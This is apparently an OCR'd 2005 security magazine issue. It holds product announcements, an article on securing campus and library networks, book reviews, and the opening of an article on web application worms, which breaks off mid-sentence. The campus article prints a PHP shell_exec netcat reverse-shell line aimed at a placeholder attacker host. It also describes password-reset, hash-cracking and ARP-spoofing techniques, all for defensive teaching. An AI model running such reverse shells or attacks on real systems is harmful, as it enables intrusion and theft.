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GFI Releases Freeware Version of GFI Network Server Monitor 6 

GFI Network Server Monitor 6 automatically scans networks and servers for failures, and 
allows administrators to fix and identify issues before users report them. GFI Network 
Server Monitor can issue alerts by email, pager or SMS and can automatically perform 
required actions, such as rebooting a machine, restarting a service or running a script. 
The freeware version, worth US$250, enables these features for three servers, as well as all the additions 
recently introduced in the latest version of the product. New features include a totally new interface for 
fast and easy configuration, the capacity to monitor Linux servers, and the ability to check service avail- 
ability by simulating a real service request. For more information visit www.gfi.com/nsm 



Total Privacy Suite safeguards Mozilla Firefox 



Anonymizer, Inc., announced Anonymizer Total Privacy Suite. Total Privacy Suite safeguards 
Firefox users from spyware, keylogger software and online snooping programs. The suite 
integrates three Anonymizer programs - Anonymous Surfing, Anti-Spyware and digital 
shredding capabilities - into a single solution that protects Firefox users from hidden digital 
threats. The new Anonymizer Total Privacy Suite is available for $59.95. For more informa- 
tion visit www.anonymizer.com 




NFR Security Announces Sentivist Smart Sensor 1 OOC 

Sentivist Smart Sensor 1 OOC is an easy-to-manage, inline intrusion prevention 
system that provides affordable, enterprise-class security for small busi- 
nesses, remote offices and departmental deployments. Delivered as a com- 
plete, turn-key solution requiring no software installation or OS configuration, 

the Smart Sensor 1 OOC also protects key emerging applications such as VoIP and IM. The Sentivist Smart 
Sensor 1 OOC starts at $8,650 USD. For more information visit: http://www.nfrsecurity.com. 
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Free Solution: Comodo AntiSpam Desktop 2005 




Free to install and use, AntiSpam 2005 employs a unique authentica- 
ComodO | An tl Sp3m t ' on technology to thwart spammers. It is based around a highly ef- 
fective challenge-response system - an active filtering algorithm that 
requires the sender of each message to validate themselves before they can be accepted onto a user's 
authorized senders list. Each 'challenge' email contains a non-machine readable graphic of the user's an- 
tispam passcode that must be read, understood and typed into the body of the 'response' email - a sys- 
tem that automated spam bots cannot easily circumvent. Download it at www.comodoantispam.com 



StealthSurfer II Security Device Released 

Stealth Ideas Inc. released an upgrade to StealthSurfer II. The fully redesigned, thumb- 
sized flash storage drive now includes on-board integration with Anonymous Surfing, an 
identity protection program from Anonymizer. Tiny enough to carry on a keychain, and 
bundled with its own high-speed browser, the USB 2.0 flash drive plugs into the USB port 
of a computer and allows users to surf the Web with total privacy. For more information 
visit www.stealthsurfer.biz 



BitDefender Antivirus for FreeBSD Mail Servers Released 

BitDefender for FreeBSD Mail Servers was released in May. The software's key 
hjtd&fEn^GT ^ eatures incluc ' e: integrated Antivirus and Antispam filters at SMTP level, up- 
secure uour evcru tit date pushing option to minimize vulnerability window, detailed logging and sta- 
tistics, remote management (web-based and Windows-based), support for: 
Sendmail (with Milter interface), Postfix, qmail, Courier, and more. 



Kaspersky Security for PDA Version 5.5 Released 

Kaspersky Security for PDAs 5.5 offers a range of upgrades and improvements, 
significantly extending the product's functionality. Kaspersky Anti-Virus tech- 
nology optimized for pocket devices offers comprehensive protection for hand- 
helds running PocketPC and Palm OS and smartphones running Microsoft Smartphone 2002 and Win- 
dows Mobile 2003 for Smartphone, and allows users to control access to stored data. The software is 
available at www.kaspersky.com 
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Forum XWall for Microsoft Exchange Server 2003 Available 

This new version of Forum's popular Web services firewall 
combines SMTP protocol support and XML Antivirus scanning 
to protect business traffic that is routed through the Ex- 
change Server 2003. With Forum XWall deployed in front of 
the Exchange Server 2003 enterprises can now filter email 
that is written in XML against new forms of malware as well as 
emails sent with attachments in the XML and SOAP formats that can carry today's common viruses and 
macros. Forum XWall for Microsoft Exchange Server 2003 is available for $2500 per CPU with additional 
subscription fees for antivirus updates. 
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Information security in campus and open environments 

By Adrian Duane Crenshaw IT 



Wll 

I 




Much of an information security professional's job involves 
keeping outsiders away from the internal network. A great deal 
of time and money is spent on firewalls and Intrusion Detection 
Systems to protect server and client machines from threats 
coming from the Internet, limiting some attack vectors to only 
computers on the LAN. 



Physical security is also taken into consid- 
eration with access cards and locked 
doors to keep unwanted visitors off of the 
local network. This is all fine and good for 
corporate environments, but what about 
open environments like libraries and uni- 
versity campuses? When an organization's 
purpose is the dissemination of knowledge, 
the paradigm (don't you just love that 
word) of information security shifts tre- 
mendously and one can not be sure that all 
users on the LAN are completely benevo- 
lent. 

This article will be geared towards techies 
at libraries and schools and will attempt to 
address common security problems that 
may pop up at these institutions. I'll gear 
the solutions towards Open Source, free- 
ware, and base operating system security 
in a Windows XP/2k environment to keep 
the information useful to the largest num- 
ber of people. Not all of us have the 



budget to buy software like Deep Freeze 
or other products to protect our patron 
workstations. Too many articles recom- 
mend expensive solutions when there are 
plenty of free or cheap solutions available. 

A word about terminology 

I'll generally use the term patron to refer 
to students, faculty, staff and general visi- 
tors except where a more specific term is 
needed. 

Also, I will use the term attacker or deviant 
user instead of "hacker" or "cracker" be- 
cause the later terms have so many differ- 
ent meanings depending on who you talk 
to. 

Some folks like the terms White Hat 
Hacker and Grey Hat Hacker, but those are 
still too flexible (I prefer to consider myself 
a Plaid Hat Hacker). 
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A different kind of environment 

Institutions like Universities and Libraries 
are different from the corporate world. 
You can't physically lock the patrons out 
of every computer at your facility. The en- 
tire mission of a library or university is to 
give patrons the tools and information 
they need to learn and the faculty what 
they need to teach. 

At the same time a system administrator 
has to protect staff and patron worksta- 
tions from deviant users on the network. 
Every information security professional 
worries about internal attacks, but this 
worry is greatly amplified in a campus or 



open environment where so many users 
have physical access to the computers and 
the network. So how do we hold back the 
hordes when the barbarians are already 
past the gates? 

In this article I hope to point out some of 
the common security problems with cam- 
pus environments and some of the solu- 
tions. 

Many problems may not be solvable be- 
cause the solution would be counter to the 
mission of your organization, but with a 
watchful eye many troubles can be 
averted. 



Institutions like Universities and Libraries are different from the 
corporate world. You can't physically lock the patrons out of 
every computer at your facility. 



Local Security on Windows 
Boxes 

It's an old computer security axiom that if 
an attacker has physical access to a com- 
puter, then he has complete access to the 
software and data on that computer. It's 
well known that all one has to do to get a 
blank local Administrator password on a 
Windows 2000 box is to delete the SAM 
file (on most Win2k systems: 
c:\WINNT\system32\config\SAM), a trivial 
thing to do on a FAT32 file system with a 
DOS boot disk. Think you're safe because 
you use NTFS and/or XP? Think again. 
With a handy Linux boot disk an attacker 
can reset any local password, including the 
Administrator account. There is also Bart's 
PE Builder that lets the user make a 
bootable CD with a cut down version of 
Windows XP that gives the user complete 
read/write access to NTFS drives. By using 
Sala's Password Renew from a PE Builder 
boot CD attackers can change any local 
password they want, including Administra- 
tor, or add new admin level accounts alto- 
gether. 



Now some reader may be thinking: "Those 



are just the patron access machines - my 
staff workstations and file servers are still 
safe because they are behind locked 
doors." Let me share my little horror story 
about network privilege escalation: 

First local f rat boy Steven becomes a local 
admin on a workstation using a boot disk. 
He then copies off the SAM and SYSTEM 
files for later cracking with Cain or 
LOphtcrack. Many folks use the same local 
admin passwords, allowing Steven to at- 
tack other boxes from across the network 
using the cracked credentials. He then in- 
stalls a key catcher like WS Keylogger, or 
maybe something like Fake Gina on the 
box. Later on, one of the support staff with 
admin privileges to the file servers and 
most of the workstations on campus logs 
in to do some work and in the process has 
his user name and password saved for 
later retrieval by Steven. Now Steven has 
access to most of the boxes on the net- 
work. 



How does one fight against this problem? 
Using NTFS helps, but it is not an absolute 
solution as any Linux boot CD can be used 
to copy off the files. Putting passwords on 
the BIOS and setting it to only boot from 
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the hard drive can help, but if you are go- 
ing to do that you have to go all the way 
and physically lock the case. Otherwise the 
attacker can just open up the case and pull 
the battery or reset the right jumper to get 
in. Generally the physical locking of the 
station causes as many problems for the 
support staff that have to image the sys- 
tem (using Ghost or a similar tool) as it 
causes for the attacker, but if you don't 
plan to nuke and rebuild the machine often 
then locking the case can be a very good 
idea. To keep attackers from easily crack- 
ing your SAM files you can disable the 
storage of LM hashes. Another thing to 
keep in mind is that if you use a password 
longer than fourteen characters no LM 
hash will be stored for it. NT hashes can 
also be cracked of course, but LM hashes 
are much more vulnerable because they 
are single case and broken into two easily 
cracked seven byte chunks. Up to date 
anti-virus software and regular scans for 
common key loggers is another good idea. 
Also setting up regular password expira- 
tions can help to mitigate the effects of 
key loggers and password cracking. 

Simple Passwords 

How many times have you seen someone 
use a dictionary word as a local Adminis- 



trator password? If an attacker can gain 
admin on a workstation using a boot disk, 
or just copy off the SAM and SYSTEM files 
from the hard disk, it's trivial to crack dic- 
tionary passwords using the tools men- 
tioned before, even if LM hash storage is 
turned off. Samdump2 and John the Rip- 
per can be run from a single boot CD to 
perform the crack. Attackers can use tools 
like Brutus or THC-Hydra from across the 
network to try to crack accounts, but this 
much slower then a local attack. 

Ensure that password policies do not allow 
easy-to-guess passwords and that some- 
one is watching the event logs for signs of 
a brute force attack. Forced password 
changes for the support staff may be a 
good idea in some cases, but frequent 
password changes will cause some staff to 
write their password down and leave it 
where someone malicious could find it (a 
post-it note on the monitor is popular). 
Also avoid using Social Security Numbers 
as default passwords. Social Security in- 
formation goes across too many desks at 
a university to be considered secure. Even 
work-study students may have access to 
databases of Social Security Numbers, and 
such information regularly makes it to re- 
cycle containers unshredded. The same 
thing goes for other personal information 
that's easy to find or guess. 



How many times have you seen someone use a dictionary word 
as a local Administrator password? 



Turn off File Sharing and Un- 
needed Services 



Using a host based firewall like the one 
built in the Windows XP SP2 or ZoneA- 
larms can be a good idea, but better yet is 
not to have possibly vulnerable services 
running in the first place. Turning off file 
sharing on computers that do not need it is 
a must. Many types of attacks can be 
averted if an attacker does not have ac- 
cess to administrative shares. Those fac- 
ulty and staff who must use file and 
printer sharing should be taught how to 
set proper share permissions. By default, 



Windows 2000 gives the Everyone group 
full read and write access to shares, and 
Windows XP gives just Read to the Every- 
one group. To give an example of how bad 
this can be, let's assume a secretary in one 
of the offices wants to share a database of 
student names, Social Security Numbers, 
and addresses with others in the office. 
She simply right clicks on the folder she 
wants to share and takes all of the de- 
faults. 



Now one of the students is poking around 
on the network to see what computers are 
out there and what shares they can get 
into. 
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They could just be curious, or they could 
be looking for other students that have 
shared out their MP3 and movie collec- 
tions. They may just browse around using 
Network Neighborhood, or use an auto- 
mated tool like Legion or SoftPerfect's 
NetScan to find all of the network shares 
available to them in a certain IP range. 
While looking around the student comes 
across a share called "Student Database"; 
two guesses what kind of information is in 
it. Scan your own network for open file 
shares before someone else does. Besides 
Legion and NetScan there's also ShareE- 
num which can scan for shares by Domain/ 



Workgroup or IP range and report what 
permissions different groups have to the 
shares. 

Disabling unneeded services like Personal 
Web Server, SNMP, Simple TCP/IP Services 
and others can also go a long way to cut- 
ting down on potential exploits. Even a sys- 
tem that is behind on service packs and 
hot fixes can't be exploited if the vulner- 
able services aren't there to begin with. 

Turn off anything that is not used and pay 
attention to what is being installed on the 
network. 



Turn off anything that is not used and pay attention to what 
is being installed on the network. 




Unread Logs 



Web/ASP/PHP 



Watch the web and security event logs. 
There are many times where I would not 
have noticed attackers on the network if it 
were not for looking in Event Viewer for 
failed login attempts. 

Naturally logging must be turned on for 
this to work so open up MMC (Microsoft 
Management Console), add Security Con- 
figuration and Analysis, and setup logging 
of failed logins and access attempts. Bet- 
ter yet, set up a GPO (Group Policy Object) 
to automatically configure security audit- 
ing when a machine logs on to the network. 

If an IDS (Intrusion Detection System) is 
running at the facility make sure someone 
is looking at the logs. An IDS like Snort is 
useless if no one actually looks at what is 
reported. 



Most universities give students and staff 
the ability to create their own web pages 
on a campus web server. Sometimes the 
users can even create ASP or PHP files for 
their website to make them more dynamic. 

With PHP installed and configured inse- 
curely a user could run an arbitrary pro- 
gram in their web folder, for example Net- 
cat, with a command like this: 

$x = shell_exec("nc AttackingBoxlP 30 -e cmd "); 

The previous command shovels a shell 
back to the attackers, allowing them com- 
mand line access to the web server and 
from there they could leap frog to other 
machines and have their identity obscured 
as that of the web server. Active Server 
Pages have similar functionality 
(Wscript.shell). 
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Using methods similar to these, a user 
could view the source code of other Active 
Server Pages (possibly revealing ODBC 
passwords), or if the web servers file sys- 
tem is Fat32 or the NTFS permissions are 
overly permissive, they could edit other 
web pages or system files. The same thing 
goes for Apache/*nix web servers with 
overly broad permissions (chmod 666 is 
the mark of the beast when it comes to 
insecure file permissions). To help limit 
these risks always use proper file permis- 
sions and limit what a user can script (see 
www.php.net for information on using the 
safejnode directive in PHP, see Microsoft 
Knowledgebase article Q27831 9 for limit- 
ing the use of Wscriptshell in Active 
Server Pages). 

Shared Passwords 

I've worked in environments where system 
administration authority is centralized and 
the central management won't give the 
support staff at regional facilities the ac- 
cess rights they need to get their jobs 
done. This may be done in the name of se- 
curity, but it can have a negative effect on 
the overall security of the organization. If 
support staff members need certain rights 



they should be given them, otherwise it 
leads to password sharing and the use of 
single accounts that have many users. This 
can cause major problems for accountabil- 
ity and damage control. 

Let's say Kevin has rights to add new ma- 
chines into the domain, but his staff does 
not. The central administration does not 
want to give anyone else the needed rights 
but Kevin. For Kevin and his staff to get 
their jobs done Kevin must give his pass- 
word to his staff members, but what if 
someone decides to do something "devi- 
ant" with the account? The responsible 
party would be harder to trace because so 
many staff members have access to the 
account. Another example is when a sup- 
port staff member is given the local Ad- 
ministrator passwords to workstations in- 
stead of being put into a Domain security 
group. If that employee is later terminated 
it's much harder to contain the damage 
they can do because even if they are taken 
out of the support staff security groups 
they still know other staff's passwords and 
the local Administrator passwords. It's 
very important to implement a password 
change policy for when staff leaves the 
organization. 



It's very important to implement a password change policy for 
when staff leaves the organization. 



Insecure Protocols and Sniffing 

When possible, insecure protocols that 
pass credentials in plain text across the 
network should not be used. Common ex- 
amples of such insecure protocols are FTP, 
telnet, POP3, SMTP, and HTTP. In their 
place use encrypted protocols like SFTP, 
SSH (Secure Shell), and HTTPS when pos- 
sible. Protocols like FTP may be hard to 
switch away from because the clients and 
servers for more secure protocols like 
SFTP are not as readily available. FTP cli- 
ents come with every recent version of 
Windows (ftp.exe from the command line 
and Explorer from a GUI), but free clients 
that support SFTP, like FileZilla and PSFTP, 
can be downloaded. 



Even with a switched network it's not hard 
for an attacker on the same subnet/VLAN 
to use Ettercap or Dsniff from an Auditor 
boot CD to do some arpspoofing (also 
know as ARP Poisoning) and redirect traf- 
fic through their host for the purpose of 
sniffing. These tools can even parse out 
user names and passwords automatically, 
making the attacker's job easy. If the at- 
tacker arpspoofs between the gateway 
and the FTP server he can sniff the traffic 
and extract user names and passwords as 
users are trying to get their data from off- 
site, and the same thing goes for SMTP 
and POP3. Even with SFTP, SSL, and SSH, 
passwords can still be sniffed with Etter- 
cap because it has the ability to proxy 
those types of connections. 
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The user might get a warning that the pub- 
lic key of the server they are trying to get 
to has changed or may not be valid, but 
how many users just click past those kinds 
of messages without actually reading 
them? 

Since an attacker has to be on the same 
subnet/VLAN as the box he is arpspoofing 
it's a good idea to split the staff and public 
networks into at least two subnets/VLANS 
(and possibly put a firewall between them). 



If you wish to be on the look out for poten- 
tial sniffers on your network there are a 
few tools that can help. ARPWatch will log 
MAC address to IP mappings and can alert 
system administrators to changes that 
may signify that someone is arpspoofing 
the network. Tools like Sentinel and Sniff- 
det can be used to ferret out hosts that 
have their network card in promiscuous 
mode (accepting all traffic the NIC can see, 
not just broadcasts and traffic destined 
for its MAC address). 



While making sure that unneeded services are disabled limits 
the scope of potential exploits, patching is still important. 



Trashing 

Be careful what you throw away. Make 
sure printouts with patron information are 
disposed of properly. 

A good cross cut paper shredder should 
do the trick, but if you're very paranoid 
you may want to look into incineration. 
Make sure all disk based media is also de- 
stroyed or wiped properly. Just deleting 
the contents of a disk is not enough; tools 
like Brian Kato's Restoration can be used 
to search the slack space on disks, hard 
drives and flash media for deleted files. 

There are several effective methods for 
destroying digital data before trashing old 
media. Media like diskettes and CDs/DVDs 
can be broken apart, or shredders can be 
bought that are especially designed to do 
the job. The most cost effective means is 
to take a pair of tough shears and cut the 
diskette or CD into bits, but make sure 
goggles are worn to protect the wearers 
eyes from flying shards. 

Hard drives and flash media can be wiped 
with tools like Eraser which securely over- 
writes data on the hard drive so that even 
magnetic force microscopy techniques will 
have a hard time recovering any of the 
data. If your organization does not plan to 
donate the hardware after they are fin- 
ished with it they can obtain a large hard 
drive degausser to permanently scramble 



the disks. Just keep in mind that the drive 
will be unusable after it's degaussed. 

Patch, Patch, Patch 

While making sure that unneeded services 
are disabled limits the scope of potential 
exploits, patching is still important. Know 
what systems are on the network and 
patch them in a timely manner. 

If most of your workstations are Windows 
based look into setting up a WSUS or SUS 
Server at your facility and push out up- 
dates automatically using a GPO (Group 
Policy Object). For Linux boxes make sure 
that you choose a distribution that has an 
easy way to update packages as security 
vulnerabilities are found. 

I personally like Debian based systems 
since most of the time all that is needed is 
a quick "apt-get update;apt-get dist- 
upgrade" command to update all of the 
installed packages. Most distributions will 
have and update application of some kind 
so check the vendor's website for informa- 
tion on applying updates. 

For third party application that are not 
covered by the update tools built into the 
OS go to the trouble of having someone at 
your facility sign up with the vendors mail- 
ing list so that they are notified when a 
new version of the software is released. 
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Know what's out there 

Patching is very important, but you have to 
know what's running on your network be- 
fore you can patch it. Open Source tools 
like Nmap and Nessus can be used to find 
out what kinds of operating systems and 
services are running on your network. WMI 



scripts and Microsoft Baseline Security 
Analyzer can be used to find out what 
service packs and hot fixes a Windows box 
is running. Some might be surprised how 
many machines on their network are run- 
ning outdated, exploit-vulnerable operating 
systems and software. Once you know 
what Operating Systems and services are 
out there go patch them. 



Assuming you offer completely open Wi-Fi access keep in mind that all of 
the traffic can be sniffed. 



A Word on Wireless 

If your facility offers 802.1 1 (A, B or G) 
wireless connectivity quite a few new is- 
sues arise. This topic should be in an arti- 
cle onto itself, but I'll mention a few major 
points here. 

Since you can't control what patrons have 
on their laptops and other wireless devices 
it's harder to keep certain kinds of mal- 
ware off of the network. A worm that's 
blocked by your Internet facing firewall 
may have no problem spreading from an 
infected laptop that a patron brings onto 
the wireless network. A good practice is to 
have the wireless side of the network f ire- 
walled from the wired side. 

Assuming you offer completely open Wi-Fi 
access keep in mind that all of the traffic 
can be sniffed. This may not be an issue to 
you, but it's something patrons should be 
aware of. 

Most of the information provided in the 
"Insecure Protocols and Sniffing" section 
of this article applies to Wi-Fi as well. WEP 
(Wired Equivalent Privacy) and WPA (Wi-Fi 
Protected Access) can be used to encrypt 
data sent on the wireless network but 
there are both ungainly to set up on com- 
puters your facility does not control (your 
patrons laptops and other wireless de- 
vices). 

WEP is nearly useless in open environ- 
ments like a campus since anyone with the 
key can read the data sent from other 



wireless stations. WEP also does not allow 
for individual use authentication if your 
organization wants to know who did what 
when and where. 

WPA with a PSK (pre-shared key) is nice in 
that even with every user using the same 
PSK they can't sniff each others network 
traffic because of TKIP (Temporal Key In- 
tegrity Protocol). Like WEP, WPA using a 
PSK does not allow for individual user 
authentication. Luckily WPA will also work 
with a 802. IX authentication server, but 
that may be a harder solution to implement 
then a simple VPN. 

Another problem with WPA is getting sup- 
port for it on older hardware; sometimes 
the proper drivers and firmware are hard 
to come by. 

The easiest solution in many cases is to 
just set up a user authenticated VPN (Vir- 
tual Private Network) using a Windows 
2000/2003 (or even a Windows XP box, 
though I'm not recommending it) or a Linux 
server. Some will recommend using MAC 
address filtering as a form of authentica- 
tion. I personally am not in favor of using 
MAC address filtering as it's less flexible, 
does not offer encryption of the data by 
itself, and is easy to get around. MAC ad- 
dress filtering alone may keep out the nov- 
ice, but a knowledgeable attacker will fire 
up a passive wardriving tool like Kismet 
and look for valid client MAC addresses as 
they connect. They will then set their wire- 
less cards MAC address to that of a valid 
client. 
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Conclusion 

In closing let me say that an information 
security professional in a campus envi- 
ronment is fighting a losing battle from the 
start. By their very nature university and 
library systems are more open and acces- 



sible than corporate systems and must 
remain so to be useful to the patrons, stu- 
dents, staff, and faculty who use them. 
Even though you can't make your campus' 
or library's network completely secure and 
still useable, you can do your best to limit 
the efforts of the casual attacker. The less 
casual ones you can hire. 



Adrian Crenshaw has worked for a large Midwest university for the last nine years and does computer secu- 
rity research for the website www.irongeek.com 
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\n formation Security 
Solutions 

Providing innovative risk management, 
advisory, and security services for 
private, public, and government 
organizations 

• Risk Assessments 

• Threat and Vulnerability Assessments 

• Security Architecture Solutions 

• Security Solution integration 

• Security Organization Support 

• Regulatory Compliance and 
IT Governance 

• Payment Card Industry (CiSP/SDP) 

• Services and Remediation 

• incident Handling and 
Computer Forensics 

• Business Continuity Management/ 
Disaster Recovery 
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Aggressive Network Self-Defense 

by multiple authors 

Syngress, ISBN: 1931836205 




4 FKEE BOOK 
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Network 

Self-Defense 



■ tat l>Hfnyi4 




This book surely has a different approach on the usual aspects of information 
security. Besides dealing with self-defense, it also drives the reader to the next 
level - strike back. 

You will surely read the book in one take, as the combination of fictional stories 
powered with a technology background proves to be an extremely interesting 
concept. 

The book has ten contributing authors, each of them covering the topic of their 
prime interest. All of the stories are very interesting, but because of its innova- 
tive approach, my pick is the one dealing with PDA hacking. 



Linux Quick Fix Notebook 

by Peter Harrison 

Prentice Hall PTR, ISBN: 0131861506 



This is a great book that gives a lot of easy to follow examples that are of in- 
terest to the majority of Linux administrators. It isn't too advanced so it will be 
a good read to the people that are going through the transformation from 
Linux users to Linux admins. 



The book is primary concentrated on building two projects - a Linux file server 
and a Linux Web site. Each of these projects contains a large ammount of 
closely correlated facts and HOWTOs that are perfectly rounded up and final 
result is a must-have for your bookshelf. 

Btw, just a tidbit, as this book is a part of Bruce Peren's Open Source Series, its 
content may be distributed under the Open Publication License. 



Linux- Quick Fix 
Notebook 
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Linux Server Security 

by Michael D. Bauer 
O'Reilly, ISBN: 0596006705 



Maybe you are familiar with a 2002 book titled "Buidling Secure Servers with 
Linux". It was a good book that provided a step-by-step guide on creating and 
running a secure Linux based server. I mentioned that because "Linux Server 
Security" is a second edition to that book. 

Besides a new title (which, in my opinion, sounds much better), the major 
changes in this revision include a revamp of all the facts that needed to get 
updated and addition of two new chapters on LDAP authentication and data- 
base security. 



LINUX 

gerver Security 



The .NET Developer's Guide to Windows Security 

by Keith Brown 

Addison- Wesley Professional, ISBN: 0321228359 



The .NET Developer's 
Guide to Windows 
Security 

.net 

Development 
Series 



Development 
Series 

Ml 



Keith Brown 9 



There is a lot of controversy related to concept of combining two words such 
as Microsoft and security together. Hopefully a new generation of secure code 
will help with this issue. 

As most of the books on Windows security are aimed to securing and harden- 
ing, this book comes as a refreshment. The author is targeting the developers 
and sharing his experience on creating secure Microsoft .NET applications. 

The book contains 75 Q/A topics which could be easily browsed and used an a 
reference guide. 



Firefox Hacks 

by Nigel McFarlane 
O'Reilly, ISBN: 0596009283 



FIREFOX 
HACKS 

Tips £ Tools far Next -Generation 
Wet Browsing 




Ever since reading one of the early titles in this series, Flickenger's "Wireless 
Hacks", I fell in love with the concept. If you are not familiar with O'Reilly Hacks, 
it is time to check them out. Each of the titles covers one specific topic 
through a series of 1 00 very interesting tips and tricks. 

While the majority of tips in this book aren't targeted to the general audience, 
the author combined a good mixture of hacks on both Firefox usage and per- 
formance, as well as doing extensive changes within the "chrome". From the 
security perspective, there are 1 0 hacks dedicated to hardening Firefox de- 
fault security settings. 
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Forensic Discovery 

by Dan Farmer, Wietse Venema 

Addison Wesley Professional, ISBN: 020163497X 




The authors of this book, Farmer and Venema, are outstanding experts in the 
field of computer forensics. With their knowledge and experience in the field, 
you just know that you cannot miss with buying this book. 

If you are interested in expanding your administrator skills with the concepts 
of understanding and analyzing digital evidence, this is surely THE book to ex- 
amine. 



Apache Security 

by Ivan Ristic 

O'Reilly, ISBN: 0596007248 




Over the years I've came across a number of quality books covering Apache 
web server security. The majority of the them were good, but there is always 
need for some fresh material. 

O'Reilly comissioned Ivan Ristic to write this book, and as some of you proba- 
bly know, he is the guy behind mod_security - an open source intrusion detec- 
tion and prevention engine that works very smoothly with Apache. Because 
this is his line of work, the book hosts a rather good info of Web intrusion de- 
tection with a special focus on mod_security usage. Covering both 1 .3 and 2.0 
versions, the author takes the readers on a journey through Apache hardening 
from different perspectives. The book also covers a whole myriad of web ap- 
plication security topics because of their close connection to the overall state 
of security of the web server. 



Black Hat Physical Device Security 

by Drew Miller 

Syngress, ISBN: 1 93226681 X 
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Black Hat" 

Physical Device 
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The book's foreword hosts one of the typical scenarios that are related to 
physical security. A company spends millions of dollars for implementing dif- 
ferent high tech security technologies like bullet proof glass, motion detectors 
and cameras, while they leave an open closet in a non locked room containing 
switches and hubs connected to the network that they so heavily secured. 

The state of physical security is of enormous importance to any organization, 
so the book's author takes a look at the risks associated with various types of 
hardware solutions the organizations are deploying. The book's primary focus 
is on considerations programmers and administrators need to think of while 
developing or deploying different types of software and hardware solutions. 
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Web applications worms - the next Internet infestation 

By Caleb Sima 



While organizations rush to develop their security policies and im- 
plement even a basic security foundation, the professional hacker 
continues to find new ways to attack. Their attention has reverted 
to the application-layer, either shrink-wrapped or custom applica- 
tions, which is commonly the least protected layer of an organiza- 
tion's network. Industry experts estimate that three-fourths of 
the successful attacks targeting corporate networks are perpe- 
trated via the application layer. 



Considering the nature of Web applica- 
tions that allow access to internal and ex- 
ternal audiences, this can pose serious risk 
to an organizations' backend data without 
the organization even knowing. Web appli- 
cations by nature are not static. Content is 
continually being altered on a very fre- 
quent basis in order to keep up with the 
demand of new features and functionality. 
Even the simplest of changes could pro- 
duce a vulnerability that may pose a major 
threat to corporate assets and confidential 
information, such as customers' identity, if 
and when a Web application attack is 
launched. 

The list of Web application attacks used 
today is growing. From SQL Injection to 
Google hacking, organizations are learning 
the hard way of the ramifications from a 
Web application attack. This new genera- 
tion of attacks has only begun and organi- 



zations are already behind in protecting 
their most precious assets. Traditionally, 
many people viewed application-level ex- 
ploits as a much harder and more targeted 
attack on their Web site. This was true a 
couple of years ago, but with the advent of 
using the power of search engines for ma- 
licious attack, hackers can now identify 
and exploit vulnerable applications with 
extreme ease. Now the threat of attack no 
longer requires your company to be fo- 
cused target. Exploitation is as easy as 
turning up in a search result. 

The Dawn of the Worm 

Another form of attack becoming popular 
at the Web application-layer is the worm. 
Worms have traditionally been widely suc- 
cessful at the network layer of an organi- 
zation's infrastructure, targeting networks 
both personal and corporate. 
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Worms focused on the network layer take 
advantage of existing network vulnerabili- 
ties such as a buffer overflows and un- 
patched systems. The network worm in- 
fects a vulnerable system then uses that 
system to identify other vulnerable targets 
to infect and propagate itself from one 
server to another. Traditional forms of 
Internet security have progressed, such as 
intrusion detection and protection systems 
(IDS and IPS), to help in discovering this 
popular form of malicious attack before 
any damage is incurred. Web application 
worms, however, are targeting the layer of 
organizations that is the least secure and 
are not protected by these traditional 
forms of Internet security. These nasty 
forms of attack utilize known exploits, ap- 
ply worm methodology and then leverage 
the power of search engines to find vul- 
nerable Web applications to accelerate ef- 
fectiveness. 

Worm Methodologies and Chal- 
lenges 

One of the keys to a successful worm is 
the ability to identify the next victim. Many 
worms apply different tactics in order to 
do this type of search and seizure. Tradi- 
tionally these tactics have been patterns 
such as randomly picking IP addresses, or 
picking up an IP range of a victim and in- 
crementally scanning that range. Some 
worms even take advantage of the data on 
the server. They grab e-mail or HTML 
documents on the infected host and scan 
thru these in order to find more potential 
targets to infect. The ability to find the 
next target is an art and the methods of 
doing so are amazingly clever. 



Worms have been facing some key chal- 
lenges since the first one emerged on the 
Internet scene mainly with efficient and 
effective methods of exploiting exponen- 
tial numbers of hosts. In order for the 
worm to be successful it must spread as 
quickly and to as many different hosts as 
possible. Having a worm spin its wheels re- 
infecting a host that has been infected 
does nothing to get the worm towards its 
ultimate goal, so worm creators must come 
up with different methods in order to en- 
sure a worm is not re-infecting the same 
host over and over again. 

One of the other barriers to a successful 
long lasting worm is how long will a vulner- 
ability stay exploitable. Most worms take 
advantage of some known exploit, usually 
a buffer overflow. This technique limits a 
worm's capability to fully wreak havoc due 
to the ease at which the hole can be 
patched. So in essence the successf ulness 
of the worm becomes its own demise as 
the more machines it infects the more 
popular it becomes and the faster people 
patch the hole or vulnerability to avoid ex- 
ploitation. 

A good worm creator will realize that secu- 
rity companies will eventually identify 
some method of stopping the propagation 
of the worm by using some sort of signa- 
ture or network-based anomaly detection. 
Therefore, worm creators are constantly 
researching and finding new ways to be- 
come more and more successful and de- 
structive with their creations. This is where 
the battle between the worm creator and 
the security companies becomes interest- 
ing. 



One of the other barriers to a successful long lasting worm is how long 

will a vulnerability stay exploitable. 



Worm Advances 

By taking a look at how Web application 
worms work, it is apparent that there are 
similar problems with widespread success 
as seen with traditional network worms, 
but to a lesser extent. For instance, the 
ability to identify targets becomes a much 
easier game. No longer do worms have to 



guess at which targets to hit. Web search 
engines create this list for them and even 
narrow it down to the most likely vulner- 
able victims. The most dangerous part of 
Web application worms is that most 
application-level issues are development 
errors within the application code and are 
not simply corrected by installing a patch. 
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SQL injection requires a developer to cull through their entire 
application code base in order to manually fix each piece of 
code that is vulnerable. 




Take for example the common Web appli- 
cation vulnerability, SQL injection. SQL In- 
jection is a technique for exploiting Web 
applications that use client-supplied data 
in SQL queries without stripping potentially 
harmful characters first. SQL injection re- 
quires a developer to cull through their 
entire application code base in order to 
manually fix each piece of code that is vul- 
nerable. Depending on the size of your ap- 
plication, this could take months, years or 
may not even be feasible to appropriately 
correct in order to be secure. So the issue 
is no longer the patch roadblock, but a 
coding issue at the beginning of an appli- 
cation's development. This can make a 
Web application worm very deadly. 

Let's take for an example what a possible 
SQL injection worm might look like. First 
step is to infect your starting host. This is 
accomplished by identifying where the 
host is vulnerable to SQL injection. Second 
step is to upload your worm payload, which 
may be done either via unprotected com- 
mand execution API's, or via your own 
stored procedure. Once your payload is 
running it will use the infected host to 
make requests to multiple search engines 
and identify more victims that are vulner- 
able to SQL injection. It will then upload 
itself to that victim and the process starts 
over. What will this accomplish? It all de- 



pends on the creator of the worm - it 
could be malicious and drop the entire da- 
tabase and cause a huge amount of chaos, 
or it could do something more drastic like 
dumping the entire database to your index 
page on the Web site or push it onto the 
gnutella network. 

As the Internet community is learning, Web 
application worms are not solely theoreti- 
cal. In fact, the Santy worm and its variants 
emerged around the beginning of 2005. 
This worm used the popular search engine 
Google to find Web sites running phpBB 
and then used a known exploit in the Web 
